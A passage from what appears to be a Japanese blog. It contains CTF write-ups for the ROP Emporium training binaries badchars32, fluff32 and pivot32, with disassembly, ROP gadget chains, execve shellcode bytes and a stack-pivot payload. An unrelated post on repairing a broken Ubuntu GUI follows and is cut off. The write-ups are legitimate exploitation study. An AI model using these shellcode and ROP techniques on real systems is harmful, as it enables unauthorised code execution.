gdb-peda$ disas pwnme Dump of assembler code for function pwnme: 0x080486b6 <+0>: push ebp 0x080486b7 <+1>: mov ebp,esp 0x080486b9 <+3>: sub esp,0x38 0x080486bc <+6>: mov DWORD PTR [ebp-0x30],0x0 0x080486c3 <+13>: sub esp,0xc 0x080486c6 <+16>: push 0x200 0x080486cb <+21>: call 0x80484c0 <malloc@plt> 0x080486d0 <+26>: add esp,0x10 0x080486d3 <+29>: mov DWORD PTR [ebp-0x2c],eax 0x080486d6 <+32>: mov eax,DWORD PTR [ebp-0x2c] 0x080486d9 <+35>: test eax,eax 0x080486db <+37>: je 0x80486f5 <pwnme+63> 0x080486dd <+39>: mov eax,DWORD PTR [ebp-0x2c] 0x080486e0 <+42>: sub esp,0x4 0x080486e3 <+45>: push 0x200 0x080486e8 <+50>: push 0x0 0x080486ea <+52>: push eax 0x080486eb <+53>: call 0x8048520 <memset@plt> 0x080486f0 <+58>: add esp,0x10 0x080486f3 <+61>: jmp 0x80486ff <pwnme+73> 0x080486f5 <+63>: sub esp,0xc 0x080486f8 <+66>: push 0x1 0x080486fa <+68>: call 0x80484f0 <exit@plt> 0x080486ff <+73>: sub esp,0x4 0x08048702 <+76>: push 0x20 0x08048704 <+78>: push 0x0 0x08048706 <+80>: lea eax,[ebp-0x30] 0x08048709 <+83>: add eax,0x8 0x0804870c <+86>: push eax 0x0804870d <+87>: call 0x8048520 <memset@plt> 0x08048712 <+92>: add esp,0x10 0x08048715 <+95>: sub esp,0xc 0x08048718 <+98>: push 0x804894c 0x0804871d <+103>: call 0x80484d0 <puts@plt> 0x08048722 <+108>: add esp,0x10 0x08048725 <+111>: sub esp,0xc 0x08048728 <+114>: push 0x8048970 0x0804872d <+119>: call 0x8048480 <printf@plt> 0x08048732 <+124>: add esp,0x10 0x08048735 <+127>: mov edx,DWORD PTR ds:0x804a060 0x0804873b <+133>: mov eax,DWORD PTR [ebp-0x2c] 0x0804873e <+136>: sub esp,0x4 0x08048741 <+139>: push edx 0x08048742 <+140>: push 0x200 0x08048747 <+145>: push eax 0x08048748 <+146>: call 0x80484b0 <fgets@plt> 0x0804874d <+151>: add esp,0x10 0x08048750 <+154>: mov DWORD PTR [ebp-0x2c],eax 0x08048753 <+157>: mov eax,DWORD PTR [ebp-0x2c] 0x08048756 <+160>: sub esp,0x8 0x08048759 <+163>: push 0x200 0x0804875e <+168>: push eax 0x0804875f <+169>: call 0x80487c2 <nstrlen> 0x08048764 <+174>: add esp,0x10 0x08048767 <+177>: mov DWORD PTR [ebp-0x30],eax 0x0804876a <+180>: mov edx,DWORD PTR [ebp-0x30] 0x0804876d <+183>: mov eax,DWORD PTR [ebp-0x2c] 0x08048770 <+186>: sub esp,0x8 0x08048773 <+189>: push edx 0x08048774 <+190>: push eax 0x08048775 <+191>: call 0x8048801 <checkBadchars> 0x0804877a <+196>: add esp,0x10 0x0804877d <+199>: mov edx,DWORD PTR [ebp-0x30] 0x08048780 <+202>: mov eax,DWORD PTR [ebp-0x2c] 0x08048783 <+205>: sub esp,0x4 0x08048786 <+208>: push edx 0x08048787 <+209>: push eax 0x08048788 <+210>: lea eax,[ebp-0x30] 0x0804878b <+213>: add eax,0x8 0x0804878e <+216>: push eax 0x0804878f <+217>: call 0x80484a0 <memcpy@plt> 0x08048794 <+222>: add esp,0x10 0x08048797 <+225>: mov eax,DWORD PTR [ebp-0x2c] 0x0804879a <+228>: sub esp,0xc 0x0804879d <+231>: push eax 0x0804879e <+232>: call 0x8048490 <free@plt> 0x080487a3 <+237>: add esp,0x10 0x080487a6 <+240>: nop 0x080487a7 <+241>: leave 0x080487a8 <+242>: ret End of assembler dump.
少し変わっているといっても,fgetsした後nstrlenで入力値の長さを求めて,その結果を使ってcheckBadcharsにて特定の文字をエスケープしているだけです.
exploitとしては,以下のような方針でいきます.
- /bin/shという文字列の中で,badcharsに含まれるものは事前に適当な値をxorしておく(入力値チェック回避)
- write4で使ったような,任意の文字列を書き込めそうなGadgetを探す
- write4の時と同様のテクニックで任意の文字列を書き込む
- 最後に,usefulGadgetsにあったxorを使って入力値を元の/bin/shに戻す
1は省略し,write4で使った mov DWORD PTR [edi],ebp のようなGadgetがないか探します.
今回はROP gadgetを探すツールを使っていきますが,どれが精度がいいとか正直わからないので,適当なものを選んでください...
自分はこれを使っています. github.com
他にも,rp++を使っている人も多いと思います.
A painter and a black catさんのページのインストール方法を載せておきます. raintrees.net
適当なファイルにリダイレクトしておくと,何度も実行しなくて済むので便利です.
$ ROPgadget --binary badchars32 > ropgadget
mov dword ptrでgrepしてみると,いい感じのGadgetが見つかります.
$ cat ropgadget|grep "mov dword ptr" 0x08048893 : mov dword ptr [edi], esi ; ret 0x08048891 : or eax, ebx ; mov dword ptr [edi], esi ; ret
0x08048893のものを使います.さらに,ediに書き込む先のアドレスを,esiに任意の文字列を渡すために,"pop edi" と "pop esi"が欲しいところです.
ropgadgetから探してみるといい感じのGadgetが見つかります.
$ cat ropgadget|grep "pop esi" |grep "pop edi" .............................................................................................. 0x080488f9 : pop esi ; pop edi ; pop ebp ; ret 0x08048899 : pop esi ; pop edi ; ret
この0x08048899を使えば良かったのですが,僕は解いたときにpeda内でropgadgetコマンドを打って出てきたpop3ret(上記の0x080488f9にあるGadget)を使ってしまったので,下記は0x080488f9のGadgetを使って解いていますが,0x08048899のほうを使ったほうが綺麗に解けるかと思います.
あと,xorする際に必要なGadgetとして, pop ebx ; pop ecx ; ret
のようなものも探しておきます.これは綺麗に1個だけ出てくると思います.
$ cat ropgadget|grep "pop ebx" |grep "pop ecx" 0x08048896 : pop ebx ; pop ecx ; ret
任意の文字列を書き込む先としては,前回のwrite4と同じくreadelfで求めて,bssセクションを書き込み先として使用します.
あとは,頑張ってexploitを書くだけです.
exploit
$ python badchars32-exploit.py [+] Starting local process './badchars32': pid 21188 badchars by ROP Emporium 32bits badchars are: b i c / <space> f n s > [*] Switching to interactive mode $ $ whoami yyy $ cat flag.txt ROPE{a_placeholder_32byte_flag!}
fluff
$ file fluff32 fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2b376a74b4e9897a4220c448d931704a229b8804, not stripped $ ./fluff32 fluff by ROP Emporium 32bits You know changing these strings means I have to rewrite my solutions... > hoge Exiting
gdbで見てみます.
$ gdb fluff32 Reading symbols from fluff32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x0804864c usefulFunction 0x08048670 questionableGadgets 0x080486a0 __libc_csu_init 0x08048700 __libc_csu_fini 0x08048704 _fini
questionableGadgetsという関数が追加されています.
usefulFunctionから見ていきます.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804864c <+0>: push ebp 0x0804864d <+1>: mov ebp,esp 0x0804864f <+3>: sub esp,0x8 0x08048652 <+6>: sub esp,0xc 0x08048655 <+9>: push 0x8048793 0x0804865a <+14>: call 0x8048430 <system@plt> 0x0804865f <+19>: add esp,0x10 0x08048662 <+22>: nop 0x08048663 <+23>: leave 0x08048664 <+24>: ret End of assembler dump. gdb-peda$ x/s 0x8048793 0x8048793: "/bin/ls"
例によって,lsするだけの関数になっているので/bin/shをsystemに渡してシェルを起動させたいところです.
questionableGadgets
gdb-peda$ disas questionableGadgets Dump of assembler code for function questionableGadgets: 0x08048670 <+0>: pop edi 0x08048671 <+1>: xor edx,edx 0x08048673 <+3>: pop esi 0x08048674 <+4>: mov ebp,0xcafebabe 0x08048679 <+9>: ret 0x0804867a <+10>: pop esi 0x0804867b <+11>: xor edx,ebx 0x0804867d <+13>: pop ebp 0x0804867e <+14>: mov edi,0xdeadbabe 0x08048683 <+19>: ret 0x08048684 <+20>: mov edi,0xdeadbeef 0x08048689 <+25>: xchg edx,ecx 0x0804868b <+27>: pop ebp 0x0804868c <+28>: mov edx,0xdefaced0 0x08048691 <+33>: ret 0x08048692 <+34>: pop edi 0x08048693 <+35>: mov DWORD PTR [ecx],edx 0x08048695 <+37>: pop ebp 0x08048696 <+38>: pop ebx 0x08048697 <+39>: xor BYTE PTR [ecx],bl 0x08048699 <+41>: ret 0x0804869a <+42>: xchg ax,ax 0x0804869c <+44>: xchg ax,ax 0x0804869e <+46>: xchg ax,ax End of assembler dump.
いろいろなGadgetsがゴチャゴチャしていてよくわかりません.問題文を読む限り,考え方はwrite4と一緒らしいですが,Gadgetを駆使して頑張らないといけないっぽいです.
注目するべきは mov DWORD PTR [ecx], edx
ですかね.ecxとedxに上手く値を用意できればwrite4の時と同様に任意の文字列を書き込むことができそうです.しかし,この問題の面白いところが, pop ecx
と pop edx
が実行ファイル中に見つかりません.
$ ROPgadget --binary fluff32 > ropgadget $ cat ropgadget |grep "pop ecx" $ cat ropgadget |grep "pop edx"
どうしたらよいでしょうか?もう一度questionableGadgetsを見てみます.よく見ると, xor edx,edx
と xor edx,ebx
と xchg edx,ecx
と pop ebx
の4つの命令があると思います.
この4つの命令を駆使すれば,edxとecxに任意の値を用意することができないでしょうか?
例えば,edxに任意の値を用意するなら
- xor edx edx でedxを初期化
- pop ebx でebxに任意の値を用意
- xor edx ebx で0と任意の値との排他的論理和を取ることで,edxには最終的に任意の値が入る
こんな感じです.ecxに格納するなら,
xchg edx, ecx でedxに入れた任意の値とecxを交換
を4つ目に加えれば完璧です.
一つ注意する点としては mov DWORD PTR [ecx],edx
と ret の間に xor BYTE PTR [ecx],bl
という余計な命令が入っている点です.よって,blレジスタには0を入れるようにして,xorによって値が変わらないようにしておきます.
ROP chainの流れとしては,
- bss addressをecxに用意
- /binをedxに用意
- /binをbss addressに格納
- bss address + 4をecxに用意
- /sh\x00をedxに用意
- /sh\x00をbss address + 4に格納
- call system
のようになります.
exploit
$ python fluff32-exploit.py [+] Starting local process './fluff32': pid 24177 fluff by ROP Emporium 32bits You know changing these strings means I have to rewrite my solutions.. [*] Switching to interactive mode . > $ $ whoami yyy $ cat flag.txt ROPE{a_placeholder_32byte_flag!}
pivot
$ file pivot32 pivot32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7d291f508294412d56bfbc9b8a5a36de5330596, not stripped $ ./pivot32 pivot by ROP Emporium 32bits Call ret2win() from libpivot.so The Old Gods kindly bestow upon you a place to pivot: 0xf7dedf08 Send your second chain now and it will land there > hoge Now kindly send your stack smash > fuga Exiting
今回は入力値を2回受け取るようです.
gdbで見てみます.
$ gdb pivot32 Reading symbols from pivot32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048550 _init 0x08048590 printf@plt 0x080485a0 free@plt 0x080485b0 fgets@plt 0x080485c0 malloc@plt 0x080485d0 puts@plt 0x080485e0 exit@plt 0x080485f0 foothold_function@plt 0x08048600 __libc_start_main@plt 0x08048610 setvbuf@plt 0x08048620 memset@plt 0x08048640 _start 0x08048670 __x86.get_pc_thunk.bx 0x08048680 deregister_tm_clones 0x080486b0 register_tm_clones 0x080486f0 __do_global_dtors_aux 0x08048710 frame_dummy 0x0804873b main 0x080487f2 pwnme 0x080488a1 uselessFunction 0x080488c0 usefulGadgets 0x080488d0 __libc_csu_init 0x08048930 __libc_csu_fini 0x08048934 _fini
pwnmeから見ていきます.
pwnme
gdb-peda$ disas pwnme Dump of assembler code for function pwnme: 0x080487f2 <+0>: push ebp 0x080487f3 <+1>: mov ebp,esp 0x080487f5 <+3>: sub esp,0x28 0x080487f8 <+6>: sub esp,0x4 0x080487fb <+9>: push 0x20 0x080487fd <+11>: push 0x0 0x080487ff <+13>: lea eax,[ebp-0x28] 0x08048802 <+16>: push eax 0x08048803 <+17>: call 0x8048620 <memset@plt> 0x08048808 <+22>: add esp,0x10 0x0804880b <+25>: sub esp,0xc 0x0804880e <+28>: push 0x8048978 0x08048813 <+33>: call 0x80485d0 <puts@plt> 0x08048818 <+38>: add esp,0x10 0x0804881b <+41>: sub esp,0x8 0x0804881e <+44>: push DWORD PTR [ebp+0x8] 0x08048821 <+47>: push 0x8048998 0x08048826 <+52>: call 0x8048590 <printf@plt> 0x0804882b <+57>: add esp,0x10 0x0804882e <+60>: sub esp,0xc 0x08048831 <+63>: push 0x80489d4 0x08048836 <+68>: call 0x80485d0 <puts@plt> 0x0804883b <+73>: add esp,0x10 0x0804883e <+76>: sub esp,0xc 0x08048841 <+79>: push 0x8048a06 0x08048846 <+84>: call 0x8048590 <printf@plt> 0x0804884b <+89>: add esp,0x10 0x0804884e <+92>: mov eax,ds:0x804a060 0x08048853 <+97>: sub esp,0x4 0x08048856 <+100>: push eax 0x08048857 <+101>: push 0x100 0x0804885c <+106>: push DWORD PTR [ebp+0x8] 0x0804885f <+109>: call 0x80485b0 <fgets@plt> 0x08048864 <+114>: add esp,0x10 0x08048867 <+117>: sub esp,0xc 0x0804886a <+120>: push 0x8048a0c 0x0804886f <+125>: call 0x80485d0 <puts@plt> 0x08048874 <+130>: add esp,0x10 0x08048877 <+133>: sub esp,0xc 0x0804887a <+136>: push 0x8048a06 0x0804887f <+141>: call 0x8048590 <printf@plt> 0x08048884 <+146>: add esp,0x10 0x08048887 <+149>: mov eax,ds:0x804a060 0x0804888c <+154>: sub esp,0x4 0x0804888f <+157>: push eax 0x08048890 <+158>: push 0x3a 0x08048892 <+160>: lea eax,[ebp-0x28] 0x08048895 <+163>: push eax 0x08048896 <+164>: call 0x80485b0 <fgets@plt> 0x0804889b <+169>: add esp,0x10 0x0804889e <+172>: nop 0x0804889f <+173>: leave 0x080488a0 <+174>: ret End of assembler dump.
1度目のfgetsの前に push DWORD PTR [ebp+0x8]
という行があることから(ebpに∔すると渡された引数に対してアクセスできます.-すればローカル変数へ)pwnmeに渡された引数を,fgetsで受け取る先として使用しているのがわかります.
2度目のfgetsはいつものpwnmeと同様にローカル変数を格納先としています.
1度目のfgetsに渡された引数はどういうものなのか,mainを見ていこうと思います.
main
gdb-peda$ disas main Dump of assembler code for function main: 0x0804873b <+0>: lea ecx,[esp+0x4] 0x0804873f <+4>: and esp,0xfffffff0 0x08048742 <+7>: push DWORD PTR [ecx-0x4] 0x08048745 <+10>: push ebp 0x08048746 <+11>: mov ebp,esp 0x08048748 <+13>: push ecx 0x08048749 <+14>: sub esp,0x14 0x0804874c <+17>: mov eax,ds:0x804a064 0x08048751 <+22>: push 0x0 0x08048753 <+24>: push 0x2 0x08048755 <+26>: push 0x0 0x08048757 <+28>: push eax 0x08048758 <+29>: call 0x8048610 <setvbuf@plt> 0x0804875d <+34>: add esp,0x10 0x08048760 <+37>: mov eax,ds:0x804a040 0x08048765 <+42>: push 0x0 0x08048767 <+44>: push 0x2 0x08048769 <+46>: push 0x0 0x0804876b <+48>: push eax 0x0804876c <+49>: call 0x8048610 <setvbuf@plt> 0x08048771 <+54>: add esp,0x10 0x08048774 <+57>: sub esp,0xc 0x08048777 <+60>: push 0x8048950 0x0804877c <+65>: call 0x80485d0 <puts@plt> 0x08048781 <+70>: add esp,0x10 0x08048784 <+73>: sub esp,0xc 0x08048787 <+76>: push 0x8048966 0x0804878c <+81>: call 0x80485d0 <puts@plt> 0x08048791 <+86>: add esp,0x10 0x08048794 <+89>: sub esp,0xc 0x08048797 <+92>: push 0x1000000 0x0804879c <+97>: call 0x80485c0 <malloc@plt> 0x080487a1 <+102>: add esp,0x10 0x080487a4 <+105>: mov DWORD PTR [ebp-0xc],eax 0x080487a7 <+108>: mov eax,DWORD PTR [ebp-0xc] 0x080487aa <+111>: add eax,0xffff00 0x080487af <+116>: mov DWORD PTR [ebp-0x10],eax 0x080487b2 <+119>: sub esp,0xc 0x080487b5 <+122>: push DWORD PTR [ebp-0x10] 0x080487b8 <+125>: call 0x80487f2 <pwnme> 0x080487bd <+130>: add esp,0x10 0x080487c0 <+133>: mov DWORD PTR [ebp-0x10],0x0 0x080487c7 <+140>: sub esp,0xc 0x080487ca <+143>: push DWORD PTR [ebp-0xc] 0x080487cd <+146>: call 0x80485a0 <free@plt> 0x080487d2 <+151>: add esp,0x10 0x080487d5 <+154>: sub esp,0xc 0x080487d8 <+157>: push 0x804896e 0x080487dd <+162>: call 0x80485d0 <puts@plt> 0x080487e2 <+167>: add esp,0x10 0x080487e5 <+170>: mov eax,0x0 0x080487ea <+175>: mov ecx,DWORD PTR [ebp-0x4] 0x080487ed <+178>: leave 0x080487ee <+179>: lea esp,[ecx-0x4] 0x080487f1 <+182>: ret End of assembler dump.
pwnmeの前で0x1000000を引数にmallocしているのがわかると思います.その後 add eax,0xffff00
で,確保した領域からpwnmeへ渡す分を調整してpwnmeへそのアドレスを渡しています.つまり,1度目のfgetsはmallocで確保したheap領域を使っていることがわかります.2度目のfgetsはいつも通りの入力値でBoFします.
2度目のfgetsですが,いつも通りの入力値でBoFするのは確かなんですが,いつものように長い値を入れることができません.試しに,以下のような入力を試してみます.
$ python -c 'print "A\n" + "A" * 44 + "B" * 100' > input.txt
pwnmeのretにブレークポイントをしかけてスタックの状態を見てみます.
$ gdb pivot32 Reading symbols from pivot32...(no debugging symbols found)...done. gdb-peda$ b *0x80488a0 Breakpoint 1 at 0x80488a0 gdb-peda$ run < input.txt .............................................
[----------------------------------registers-----------------------------------] EAX: 0xffffbd00 ('A' <repeats 44 times>, 'B' <repeats 13 times>) EBX: 0x0 ECX: 0x0 EDX: 0xf7fa387c --> 0x0 ESI: 0xf7fa2000 --> 0x1b1db0 EDI: 0xf7fa2000 --> 0x1b1db0 EBP: 0x41414141 ('AAAA') ESP: 0xffffbd2c ('B' <repeats 13 times>) EIP: 0x80488a0 (<pwnme+174>: ret) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804889b <pwnme+169>: add esp,0x10 0x804889e <pwnme+172>: nop 0x804889f <pwnme+173>: leave => 0x80488a0 <pwnme+174>: ret 0x80488a1 <uselessFunction>: push ebp 0x80488a2 <uselessFunction+1>: mov ebp,esp 0x80488a4 <uselessFunction+3>: sub esp,0x8 0x80488a7 <uselessFunction+6>: call 0x80485f0 <foothold_function@plt> [------------------------------------stack-------------------------------------] 0000| 0xffffbd2c ('B' <repeats 13 times>) 0004| 0xffffbd30 ("BBBBBBBBB") 0008| 0xffffbd34 ("BBBBB") 0012| 0xffffbd38 --> 0x42 ('B') 0016| 0xffffbd3c --> 0x0 0020| 0xffffbd40 --> 0x1 0024| 0xffffbd44 --> 0xffffbe04 --> 0xffffc0b1 ("/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32") 0028| 0xffffbd48 --> 0xf7dedf08 --> 0xa41 ('A\n') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080488a0 in pwnme () gdb-peda$
100文字入力したはずのBが,13文字しか格納されていないのがわかるでしょうか.
このように,今回の問題はスタックのスペースが限られています.よって,問題文にもある通りstack pivotというテクニックを使っていきます.
stack pivotとは?
ももテクさんの記事がわかりやすいので引用させて頂くと,
xchgは二つのレジスタの値を交換する命令である。 GOT overwriteの書き換え先としてこのgadgetを利用すると、ジャンプした後eaxレジスタとespレジスタの値が交換され、スタックの頭が
box1->buf
に移動する。 そしてret命令が実行されると、box1->buf
の最初の4バイトが次のリターンアドレスとして参照される。 つまり、スタックバッファオーバーフローにおけるReturn-to-libcと同様のレイアウトでbox1->buf
にデータを入れておけば、そのままそれが実行されていくことになる。このようにしてスタックの頭を差し替える方法は、Stack pivotと呼ばれる。 Stack pivotには、次のようなROP gadgetがよく用いられる。
xchg esp,eax
mov esp,eax
add esp,[some constant]
つまり,xchgなどを使ってesp(スタックの先頭)を任意のアドレスと入れ替えれば,その後は入れ替えたアドレスの先を実行していくということで,今回のusefulGadgetsにも以下のようにstack pivotできるROP gadgetがあるのがわかります.
usefulGadgets
gdb-peda$ disas usefulGadgets Dump of assembler code for function usefulGadgets: 0x080488c0 <+0>: pop eax 0x080488c1 <+1>: ret 0x080488c2 <+2>: xchg esp,eax 0x080488c3 <+3>: ret 0x080488c4 <+4>: mov eax,DWORD PTR [eax] 0x080488c6 <+6>: ret 0x080488c7 <+7>: add eax,ebx 0x080488c9 <+9>: ret 0x080488ca <+10>: xchg ax,ax 0x080488cc <+12>: xchg ax,ax 0x080488ce <+14>: xchg ax,ax End of assembler dump.
usefulFunctionも見ておきます.
usefulFunction
gdb-peda$ disas uselessFunction Dump of assembler code for function uselessFunction: 0x080488a1 <+0>: push ebp 0x080488a2 <+1>: mov ebp,esp 0x080488a4 <+3>: sub esp,0x8 0x080488a7 <+6>: call 0x80485f0 <foothold_function@plt> 0x080488ac <+11>: sub esp,0xc 0x080488af <+14>: push 0x1 0x080488b1 <+16>: call 0x80485e0 <exit@plt> End of assembler dump.
foothold_function@pltを呼ぶだけのようです.今回はlibpivot32.soが渡されているので,foothold_functionの実体はここにありそうです.
問題文にも書いてあるのですが,今回のゴールはlibpivot32.soの中にあるret2winを呼ぶことです.ですがその前に,僕は1度目のfgetsでシェルコードを流し込んで,2度目でstack pivotして流し込んだシェルコードを実行できるのでは!?と思いました.
つまりこういうpayloadです.2度目のfgetsへはpop_eaxでeaxにpivot_addrを準備し,xchg_esp_eaxすることによりstack pivotを行うようなコード片を与えます.
payload = "" payload += "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x53\x31\xd2\x52\x6a\x0b\x58\xcd\x80" # shellcode payload += "\n" payload += "A" * 44 payload += p32(pop_eax) payload += p32(pivot_addr) payload += p32(xchg_esp_eax)
ですが,いざシェルコードまで遷移して実行しようとするとinvalidと言われてしまいました.これは,mallocで確保した領域に実行権限がないために起こります.
gdb-peda$ vmmap 0xf7dedf08 Start End Perm Name 0xf6dee000 0xf7df0000 rw-p mapped
rw-pとなっていて,実行権限がついていないことがわかるでしょうか.これはNXビットというセキュリティ機構によって実現されていて,今回NXビットが有効になっているのでこのようになります.
少し話がそれましたが,libpivot32.soの中にあるret2winを呼ぶためにはどうするかを考えます.ret2winはpivot32の中にはないので,このままではアドレスがわからず呼ぶことはできそうにないです.そのため,libpivot32.soのベースアドレスというものを求めます.ベースアドレスとはその共有ライブラリがどこにロードされているのかという情報です.
pedaで見てみます.vmmapというコマンドを使います.
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0x08049000 0x0804a000 r--p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0x0804a000 0x0804b000 rw-p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0xf6dee000 0xf7df0000 rw-p mapped 0xf7df0000 0xf7fa0000 r-xp /lib/i386-linux-gnu/libc-2.23.so 0xf7fa0000 0xf7fa2000 r--p /lib/i386-linux-gnu/libc-2.23.so 0xf7fa2000 0xf7fa3000 rw-p /lib/i386-linux-gnu/libc-2.23.so 0xf7fa3000 0xf7fa6000 rw-p mapped 0xf7fd0000 0xf7fd1000 r-xp /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd1000 0xf7fd2000 r--p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd2000 0xf7fd3000 rw-p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd3000 0xf7fd5000 rw-p mapped 0xf7fd5000 0xf7fd7000 r--p [vvar] 0xf7fd7000 0xf7fd9000 r-xp [vdso] 0xf7fd9000 0xf7ffb000 r-xp /lib/i386-linux-gnu/ld-2.23.so 0xf7ffb000 0xf7ffc000 rw-p mapped 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.23.so 0xfffdc000 0xffffe000 rw-p [stack]
0xf7fd0000にlibpivot32.soが読み込まれているのがわかるでしょうか.これがlibpivot32.soのベースアドレスです.
ではこれを,pivot32からどうにかして読み出します.その為には,シンボル解決された関数のアドレスを出力系の関数で流出させ,そこからその関数のlibc内でのオフセットを引きます.
今回はlibpivot32.soの中で使われているfoothold_functionという関数がpivot32の中にあるので,これを使います.方針としては以下のようになります.
- 1度目のfgetsにfoothold_function@plt,printf,main,foothold_function@gotの順に与える
- 2度目のfgetsでBoFさせてstack pivot
- 1度目のfgetsで格納したものが実行されていく
3でなにが起こるのかというと,foothold_functionはpivot32の中でまだ1度も呼ばれていないので,ここで初めて呼ぶことによってシンボル解決されます.その結果,GOT領域にfoothold_functionのアドレスが格納されるので,それをprintfで出力しています.出力されたアドレスからその関数のlibpivot32.so内でのオフセットを引きます.オフセットはgdbでもobjdumpでも求まります.
gdbでやってみると,
$ gdb libpivot32.so i Reading symbols from libpivot32.so...(no debugging symbols found)...done. gdb-peda$ i func All defined functions: Non-debugging symbols: 0x000005c0 _init 0x00000600 printf@plt 0x00000610 system@plt 0x00000620 exit@plt 0x00000640 __x86.get_pc_thunk.bx 0x00000650 deregister_tm_clones 0x00000690 register_tm_clones 0x000006e0 __do_global_dtors_aux 0x00000730 frame_dummy 0x0000076c __x86.get_pc_thunk.dx 0x00000770 foothold_function 0x0000079b void_function_01 0x000007c9 void_function_02 0x000007f7 void_function_03 0x00000825 void_function_04 0x00000853 void_function_05 0x00000881 void_function_06 0x000008af void_function_07 0x000008dd void_function_08 0x0000090b void_function_09 0x00000939 void_function_10 0x00000967 ret2win 0x00000995 __x86.get_pc_thunk.ax 0x0000099c _fini
foothold_functionを見るとアドレスが0x00000770になっていますが,これがlibpivot32.so内でのfoothold_functionのオフセットです.
以上より,上記の1ではprintfのリターン先をmainにしているので,2度目のmainの2度目のfgetsにて,「求めたlibpivot32.soのベースアドレス+ret2winのlibpivot32.so内でのオフセット(0x00000967)」に遷移させれば終わりです.stack pivot + return to libcという感じでしょうか.
exploitは以下のようになります.
exploit
$ python pivot32-exploit.py [+] Starting local process './pivot32': pid 21546 [*] '/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: './' [+] Receiving all data: Done (259B) [*] Process './pivot32' stopped with exit code 0 (pid 21546) @\x85��`\x03���Z��pivot by ROP Emporium 32bits Call ret2win() from libpivot.so The Old Gods kindly bestow upon you a place to pivot: 0xf6decf08 Send your second chain now and it will land there > Now kindly send your stack smash > ROPE{a_placeholder_32byte_flag!}
最後に
ここに書いたwriteupは,恐らく作問者が想定した解法ばかりだと思います.なので,想定していない解法で解くというのもまた楽しいし,勉強になると思います.
以上,激長writeupでしたが誤りがあればコメントなどでお願いいたします.
UbuntuのGUIが死んだ日
はじめに
先日,仙台CTFというイベントに参加したのですが,その際VirtualBoxに入れてある普段本当によく使うUbuntu16.04が,GUIが死んで画面が真っ暗になるという事故が起きていました.
このイベントでは仮想マシンが事前に配られてそれを使うのですが,CTF中は使い慣れたマシンも使いたいという思いがあったので,焦りました.
なんでこんなことが起きたのかというと,自分はWindows10でVirtualBoxを使っているのですが,会場でPCを1度シャットダウンする機会があったんですね.そこで,よく「起動中のプログラムがありますが,本当にシャットダウンしますか?」みたいにOSが気をきかせて言ってくることがあると思うんですけど,その際VirtualBoxが起動していたのですがそのまま気にせずシャットダウンしてしまいました.
今までもそれで不都合が起きたことはなかったので気にはしていなかったのですが,再びWindowsを起動し,VirtualBoxも起動してUbuntuを立ち上げてみたら,
真っ暗なんですね.
流石に焦ったのですが,「Ubuntu 真っ暗」とかで検索かければまぁいろいろ出てくる出てくるで,いくつか試せば簡単に直るやろ!wと思って試してみるも全く直る気配なし.
結局,Ubuntu14.04も入れてあったので,そちらを使ってなんとか乗り切りました.
その後
頑張って直しました.
試したことを時系列順に書こうかと思ったのですが,3つのカテゴリーに分けて箇条書きにしました.
役に立ったこと
/sbinへのPATHが通っておらず,upstart-udev-bridgeがないというエラーが出ていたので,/etc/environmentにPATHを書いた
.xsession-errors
を見てみると,以下のようなエラーが出ていました.
そこで, /etc/environment
に
PATH="/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/usr/games:/usr/local/games"
という, .zshrc
に書いていたPATHをこちらにも書きました.
これが一番の原因だったっぽい.
lightdmのログを見てみる
/var/log/lightdm/lightdm.log
を見てみて,どれが原因なのかわからなかったけど,確かここで上記の .xsession-errors
という単語を知ったので,一応は役に立った?
役に立ったのか不明なこと
デスクトップ環境をUnityからGnomeに変更
ディスプレイマネージャーであるlightdmの原因かな?と思い,再インストールやらなんやらやっても直らなかったので,Unityの問題である可能性を考えて,Gnomeを入れてみた.
sudo apt-get install ubuntu-gnome-desktop
か sudo apt-get install gnome
どっちか(それとも両方?)実行した気がする.
(他にも tasksel 使って入れてみたりしたかな?覚えてない)
結局これだけでは直らなかったので,不明.
自動ログインをやめる
自動ログインするように設定していると,デスクトップ環境を選べないため.
これを行ったところ,ログイン画面では止まるようになったが,ログイン後なにも出てこず.
無駄だったこと
